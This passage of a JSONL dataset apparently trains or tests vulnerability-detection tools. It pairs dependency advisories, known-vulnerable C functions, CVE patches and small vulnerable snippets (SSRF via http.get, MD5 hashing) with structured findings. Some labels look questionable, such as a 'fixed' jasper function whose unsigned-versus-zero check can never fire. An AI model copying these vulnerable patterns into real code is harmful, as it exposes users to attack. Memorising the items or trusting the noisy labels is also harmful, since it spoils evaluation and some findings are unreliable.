Maven\nManifest: pom.xml (Maven)\nPackage: org.keycloak:keycloak-core\nInstalled version: 24.0.7\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.keycloak:keycloak-core\",\n \"installed_version\": \"24.0.7\",\n \"note\": \"org.keycloak:keycloak-core 24.0.7 is at or above the fixed version for GHSA-g4gc-rh26-m3p5; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-674", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: MessagePack\nInstalled version: <2.5.301\nSummary: MessagePack-CSharp: DynamicUnionResolver-generated deserializers miss depth enforcement", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-wfr3-xj75-pfwh\",\n \"cve\": \"CVE-2026-48513\",\n \"aliases\": [\n \"CVE-2026-48513\"\n ],\n \"cwe\": \"CWE-674\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"MessagePack\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.5.301\",\n \"fixed_version\": \"2.5.301\",\n \"finding\": \"MessagePack-CSharp: DynamicUnionResolver-generated deserializers miss depth enforcement\",\n \"remediation\": \"Upgrade MessagePack to 2.5.301 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static PHP_GINIT_FUNCTION(libxml)\n{\n\tlibxml_globals->stream_context = NULL;\n\tlibxml_globals->error_buffer.c = NULL;\n\tlibxml_globals->error_list = NULL;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"project\": \"php-src\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/grafana/grafana\nInstalled version: <6.7.2\nSummary: Grafana stored XSS", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-xr3x-62qw-vc4w\",\n \"cve\": \"CVE-2020-11110\",\n \"aliases\": [\n \"BIT-grafana-2020-11110\",\n \"CVE-2020-11110\",\n \"GO-2024-2523\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/grafana/grafana\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <6.7.2\",\n \"fixed_version\": \"6.7.2\",\n \"finding\": \"Grafana stored XSS\",\n \"remediation\": \"Upgrade github.com/grafana/grafana to 6.7.2 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static jpc_enc_tcmpt_t *tcmpt_create(jpc_enc_tcmpt_t *tcmpt, jpc_enc_cp_t *cp,\n jas_image_t *image, jpc_enc_tile_t *tile)\n{\n\tuint_fast16_t cmptno;\n\tuint_fast16_t rlvlno;\n\tjpc_enc_rlvl_t *rlvl;\n\tuint_fast32_t tlx;\n\tuint_fast32_t tly;\n\tuint_fast32_t brx;\n\tuint_fast32_t bry;\n\tuint_fast32_t cmpttlx;\n\tuint_fast32_t cmpttly;\n\tjpc_enc_ccp_t *ccp;\n\tjpc_tsfb_band_t bandinfos[JPC_MAXBANDS];\n\n\ttcmpt->tile = tile;\n\ttcmpt->tsfb = 0;\n\ttcmpt->data = 0;\n\ttcmpt->rlvls = 0;\n\n\t/* Deduce the component number. */\n\tcmptno = tcmpt - tile->tcmpts;\n\n\tccp = &cp->ccps[cmptno];\n\n\t/* Compute the coordinates of the top-left and bottom-right\n\t corners of this tile-component. */\n\ttlx = JPC_CEILDIV(tile->tlx, ccp->sampgrdstepx);\n\ttly = JPC_CEILDIV(tile->tly, ccp->sampgrdstepy);\n\tbrx = JPC_CEILDIV(tile->brx, ccp->sampgrdstepx);\n\tbry = JPC_CEILDIV(tile->bry, ccp->sampgrdstepy);\n\n\t/* Create a sequence to hold the tile-component sample data. */\n\tif (!(tcmpt->data = jas_seq2d_create(tlx, tly, brx, bry))) {\n\t\tgoto error;\n\t}\n\n\t/* Get the image data associated with this tile-component. */\n\tcmpttlx = JPC_CEILDIV(cp->imgareatlx, ccp->sampgrdstepx);\n\tcmpttly = JPC_CEILDIV(cp->imgareatly, ccp->sampgrdstepy);\n\tif (jas_image_readcmpt(image, cmptno, tlx - cmpttlx, tly - cmpttly,\n\t brx - tlx, bry - tly, tcmpt->data)) {\n\t\tgoto error;\n\t}\n\n\ttcmpt->synweight = 0;\n\ttcmpt->qmfbid = cp->tccp.qmfbid;\n\ttcmpt->numrlvls = cp->tccp.maxrlvls;\n\ttcmpt->numbands = 3 * tcmpt->numrlvls - 2;\n\tif (!(tcmpt->tsfb = jpc_cod_gettsfb(tcmpt->qmfbid, tcmpt->numrlvls - 1))) {\n\t\tgoto error;\n\t}\n\n\tfor (rlvlno = 0; rlvlno < tcmpt->numrlvls; ++rlvlno) {\n\t\ttcmpt->prcwidthexpns[rlvlno] = cp->tccp.prcwidthexpns[rlvlno];\n\t\ttcmpt->prcheightexpns[rlvlno] = cp->tccp.prcheightexpns[rlvlno];\n\t}\n\ttcmpt->cblkwidthexpn = cp->tccp.cblkwidthexpn;\n\ttcmpt->cblkheightexpn = cp->tccp.cblkheightexpn;\n\ttcmpt->cblksty = cp->tccp.cblksty;\n\ttcmpt->csty = cp->tccp.csty;\n\n\ttcmpt->numstepsizes = tcmpt->numbands;\n\tassert(tcmpt->numstepsizes <= JPC_MAXBANDS);\n\tmemset(tcmpt->stepsizes, 0, tcmpt->numstepsizes * sizeof(uint_fast16_t));\n\n\t/* Retrieve information about the various bands. */\n\tjpc_tsfb_getbands(tcmpt->tsfb, jas_seq2d_xstart(tcmpt->data),\n\t jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),\n\t jas_seq2d_yend(tcmpt->data), bandinfos);\n\n\tif (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {\n\t\tgoto error;\n\t}\n\tfor (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;\n\t ++rlvlno, ++rlvl) {\n\t\trlvl->bands = 0;\n\t\trlvl->tcmpt = tcmpt;\n\t}\n\tfor (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;\n\t ++rlvlno, ++rlvl) {\n\t\tif (!rlvl_create(rlvl, cp, tcmpt, bandinfos)) {\n\t\t\tgoto error;\n\t\t}\n\t}\n\n\treturn tcmpt;\n\nerror:\n\n\ttcmpt_destroy(tcmpt);\n\treturn 0;\n\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int\tspecial(DviContext *dvi, int opcode)\n{\n\tchar\t*s;\n\tInt32\targ;\n\t\n\targ = dugetn(dvi, opcode - DVI_XXX1 + 1);\n\ts = mdvi_malloc(arg + 1);\n\tdread(dvi, s, arg);\n\ts[arg] = 0;\n\tmdvi_do_special(dvi, s);\n\tSHOWCMD((dvi, \"XXXX\", opcode - DVI_XXX1 + 1,\n\t\t\"[%s]\", s));\n\tmdvi_free(s);\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"evince\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": "void mp_encode_lua_table_as_map(lua_State *L, mp_buf *buf, int level) {\n size_t len = 0;\n\n /* First step: count keys into table. No other way to do it with the\n * Lua API, we need to iterate a first time. Note that an alternative\n * would be to do a single run, and then hack the buffer to insert the\n * map opcodes for message pack. Too hackish for this lib. */\n lua_pushnil(L);\n while(lua_next(L,-2)) {\n lua_pop(L,1); /* remove value, keep key for next iteration. */\n len++;\n }\n\n /* Step two: actually encoding of the map. */\n mp_encode_map(L,buf,len);\n lua_pushnil(L);\n while(lua_next(L,-2)) {\n /* Stack: ... key value */\n lua_pushvalue(L,-2); /* Stack: ... key value key */\n mp_encode_lua_type(L,buf,level+1); /* encode key */\n mp_encode_lua_type(L,buf,level+1); /* encode val */\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2018-11218\",\n \"fixed_code\": \"void mp_encode_lua_table_as_map(lua_State *L, mp_buf *buf, int level) {\\n size_t len = 0;\\n\\n /* First step: count keys into table. No other way to do it with the\\n * Lua API, we need to iterate a first time. Note that an alternative\\n * would be to do a single run, and then hack the buffer to insert the\\n * map opcodes for message pack. Too hackish for this lib. */\\n luaL_checkstack(L, 3, \\\"in function mp_encode_lua_table_as_map\\\");\\n lua_pushnil(L);\\n while(lua_next(L,-2)) {\\n lua_pop(L,1); /* remove value, keep key for next iteration. */\\n len++;\\n }\\n\\n /* Step two: actually encoding of the map. */\\n mp_encode_map(L,buf,len);\\n lua_pushnil(L);\\n while(lua_next(L,-2)) {\\n /* Stack: ... key value */\\n lua_pushvalue(L,-2); /* Stack: ... key value key */\\n mp_encode_lua_type(L,buf,level+1); /* encode key */\\n mp_encode_lua_type(L,buf,level+1); /* encode val */\\n }\\n}\\n\",\n \"change_summary\": \"Security: more cmsgpack fixes by @soloestoy.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-327", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following go code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "func fingerprint(data []byte) string {\n\tsum := md5.Sum(data)\n\treturn hex.EncodeToString(sum[:])\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-327\",\n \"cwe_name\": \"Use of a Broken/Weak Cryptographic Algorithm\",\n \"title\": \"Weak hash (MD5)\",\n \"severity\": \"medium\",\n \"vulnerable_lines\": [\n 2\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"md5\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 2,\n \"col\": 11\n },\n {\n \"token\": \"Sum\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 20\n }\n ],\n \"explanation\": \"MD5 is cryptographically broken and must not be used for security.\",\n \"remediation\": \"Replace MD5/SHA1/DES with a modern algorithm (SHA-256+, AES-GCM) and a vetted library.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void vmxnet3_process_tx_queue(VMXNET3State *s, int qidx)\n{\n struct Vmxnet3_TxDesc txd;\n uint32_t txd_idx;\n uint32_t data_len;\n hwaddr data_pa;\n\n for (;;) {\n if (!vmxnet3_pop_next_tx_descr(s, qidx, &txd, &txd_idx)) {\n break;\n }\n\n vmxnet3_dump_tx_descr(&txd);\n\n if (!s->skip_current_tx_pkt) {\n data_len = (txd.len > 0) ? txd.len : VMXNET3_MAX_TX_BUF_SIZE;\n data_pa = le64_to_cpu(txd.addr);\n\n if (!vmxnet_tx_pkt_add_raw_fragment(s->tx_pkt,\n data_pa,\n data_len)) {\n s->skip_current_tx_pkt = true;\n }\n }\n\n if (s->tx_sop) {\n vmxnet3_tx_retrieve_metadata(s, &txd);\n s->tx_sop = false;\n }\n \n if (txd.eop) {\n if (!s->skip_current_tx_pkt) {\n vmxnet_tx_pkt_parse(s->tx_pkt);\n if (s->needs_vlan) {\n vmxnet_tx_pkt_setup_vlan_header(s->tx_pkt, s->tci);\n }\n vmxnet_tx_pkt_setup_vlan_header(s->tx_pkt, s->tci);\n }\n\n vmxnet3_send_packet(s, qidx);\n } else {\n vmxnet3_on_tx_done_update_stats(s, qidx,\n VMXNET3_PKT_STATUS_ERROR);\n }\n\n vmxnet3_complete_packet(s, qidx, txd_idx);\n s->tx_sop = true;\n s->skip_current_tx_pkt = false;\n vmxnet_tx_pkt_reset(s->tx_pkt);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8744\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [\n 32,\n 33\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 31,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 12\n },\n {\n \"token\": \"txd\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 13\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 31,\n \"col\": 16\n },\n {\n \"token\": \"eop\",\n \"ast_node\": \"field_identifier\",\n \"line\": 31,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 20\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 31,\n \"col\": 22\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 32,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 32,\n \"col\": 15\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 32,\n \"col\": 16\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 17\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 32,\n \"col\": 18\n },\n {\n \"token\": \"skip_current_tx_pkt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 32,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 32,\n \"col\": 39\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 32,\n \"col\": 41\n },\n {\n \"token\": \"vmxnet_tx_pkt_parse\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 33,\n \"col\": 35\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 36\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 33,\n \"col\": 37\n },\n {\n \"token\": \"tx_pkt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 33,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 33,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 33,\n \"col\": 46\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 34,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 20\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 34,\n \"col\": 22\n },\n {\n \"token\": \"needs_vlan\",\n \"ast_node\": \"field_identifier\",\n \"line\": 34,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 34,\n \"col\": 34\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 34,\n \"col\": 36\n },\n {\n \"token\": \"vmxnet_tx_pkt_setup_vlan_header\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 21\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 35,\n \"col\": 52\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 53\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 35,\n \"col\": 54\n },\n {\n \"token\": \"tx_pkt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 56\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 35,\n \"col\": 62\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 64\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 35,\n \"col\": 65\n },\n {\n \"token\": \"tci\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 67\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 35,\n \"col\": 70\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 35,\n \"col\": 71\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 36,\n \"col\": 17\n },\n {\n \"token\": \"vmxnet_tx_pkt_setup_vlan_header\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 37,\n \"col\": 51\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 52\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 37,\n \"col\": 53\n },\n {\n \"token\": \"tx_pkt\",\n \"ast_node\": \"field_identifier\",\n \"line\": 37,\n \"col\": 55\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 37,\n \"col\": 61\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 63\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 37,\n \"col\": 64\n },\n {\n \"token\": \"tci\",\n \"ast_node\": \"field_identifier\",\n \"line\": 37,\n \"col\": 66\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 37,\n \"col\": 69\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 37,\n \"col\": 70\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 38,\n \"col\": 16\n },\n {\n \"token\": \"vmxnet3_send_packet\",\n \"ast_node\": \"identifier\",\n \"line\": 40,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 40,\n \"col\": 35\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 40,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 40,\n \"col\": 37\n },\n {\n \"token\": \"qidx\",\n \"ast_node\": \"identifier\",\n \"line\": 40,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 40,\n \"col\": 43\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 40,\n \"col\": 44\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: chromium\nInstalled version: <151.0.7922.108-1~deb12u1\nSummary: Heap buffer overflow in Base in Google Chrome prior to 151.0.7922.109 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via a crafted Chr...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-19156\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"chromium\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <151.0.7922.108-1~deb12u1\",\n \"fixed_version\": \"151.0.7922.108-1~deb12u1\",\n \"finding\": \"Heap buffer overflow in Base in Google Chrome prior to 151.0.7922.109 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via a crafted Chr...\",\n \"remediation\": \"Upgrade chromium to 151.0.7922.108-1~deb12u1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map tokens to AST nodes, and report any vulnerability as JSON.", "input": "def get_user(param):\n param = sys.argv[1]\n cursor.execute(\"SELECT * FROM users WHERE id = %s\", (param,))\n return cursor.fetchall()\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: Parameterized SQL query. No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"module\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-190). Produce the patched version and explain the fix. Output JSON.", "input": " static long mem_seek(jas_stream_obj_t *obj, long offset, int origin)\n {\n \tjas_stream_memobj_t *m = (jas_stream_memobj_t *)obj;\n\tlong newpos;\n \n \tJAS_DBGLOG(100, (\"mem_seek(%p, %ld, %d)\\n\", obj, offset, origin));\n \tswitch (origin) {\n\tcase SEEK_SET:\n\t\tnewpos = offset;\n\t\tbreak;\n\tcase SEEK_END:\n\t\tnewpos = m->len_ - offset;\n\t\tbreak;\n\tcase SEEK_CUR:\n\t\tnewpos = m->pos_ + offset;\n\t\tbreak;\n\tdefault:\n\t\tabort();\n\t\tbreak;\n\t}\n\tif (newpos < 0) {\n\t\treturn -1;\n\t}\n\tm->pos_ = newpos;\n\n\treturn m->pos_;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2016-9262\",\n \"fixed_code\": \" static long mem_seek(jas_stream_obj_t *obj, long offset, int origin)\\n {\\n \\tjas_stream_memobj_t *m = (jas_stream_memobj_t *)obj;\\n\\tsize_t newpos;\\n \\n \\tJAS_DBGLOG(100, (\\\"mem_seek(%p, %ld, %d)\\\\n\\\", obj, offset, origin));\\n \\tswitch (origin) {\\n\\tcase SEEK_SET:\\n\\t\\tnewpos = offset;\\n\\t\\tbreak;\\n\\tcase SEEK_END:\\n\\t\\tnewpos = m->len_ - offset;\\n\\t\\tbreak;\\n\\tcase SEEK_CUR:\\n\\t\\tnewpos = m->pos_ + offset;\\n\\t\\tbreak;\\n\\tdefault:\\n\\t\\tabort();\\n\\t\\tbreak;\\n\\t}\\n\\tif (newpos < 0) {\\n\\t\\treturn -1;\\n\\t}\\n\\tm->pos_ = newpos;\\n\\n\\treturn m->pos_;\\n}\\n\",\n \"change_summary\": \"Made some changes to the I/O stream library for memory streams.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/hashicorp/nomad\nInstalled version: <1.11.1\nSummary: HashiCorp Nomad is vulnerable to path escape through archive unpacking during migration in github.com/hashicorp/nomad", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-4278\",\n \"cve\": \"CVE-2024-6717\",\n \"aliases\": [\n \"CVE-2024-6717\",\n \"GHSA-5mqx-rpxv-mvxj\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/hashicorp/nomad\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.11.1\",\n \"fixed_version\": \"1.11.1\",\n \"finding\": \"HashiCorp Nomad is vulnerable to path escape through archive unpacking during migration in github.com/hashicorp/nomad\",\n \"remediation\": \"Upgrade github.com/hashicorp/nomad to 1.11.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: apk-parser3\nInstalled version: 0.1.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"apk-parser3\",\n \"installed_version\": \"0.1.3\",\n \"note\": \"apk-parser3 0.1.3 is at or above the fixed version for GHSA-4p7j-5ppx-rfhm; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-918", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this javascript snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "const http = require('http');\nfunction fetchUrl(req, res) {\n const data = req.headers['x-input'];\n http.get(data, (r) => r.pipe(res));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-918\",\n \"cwe_name\": \"Server-Side Request Forgery (SSRF)\",\n \"title\": \"SSRF via unchecked outbound request\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"http\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"get\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"pipe\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 35\n }\n ],\n \"explanation\": \"A user-supplied URL is fetched server-side without host allow-listing, enabling SSRF.\",\n \"remediation\": \"Allow-list destination hosts, resolve and validate the IP, and block 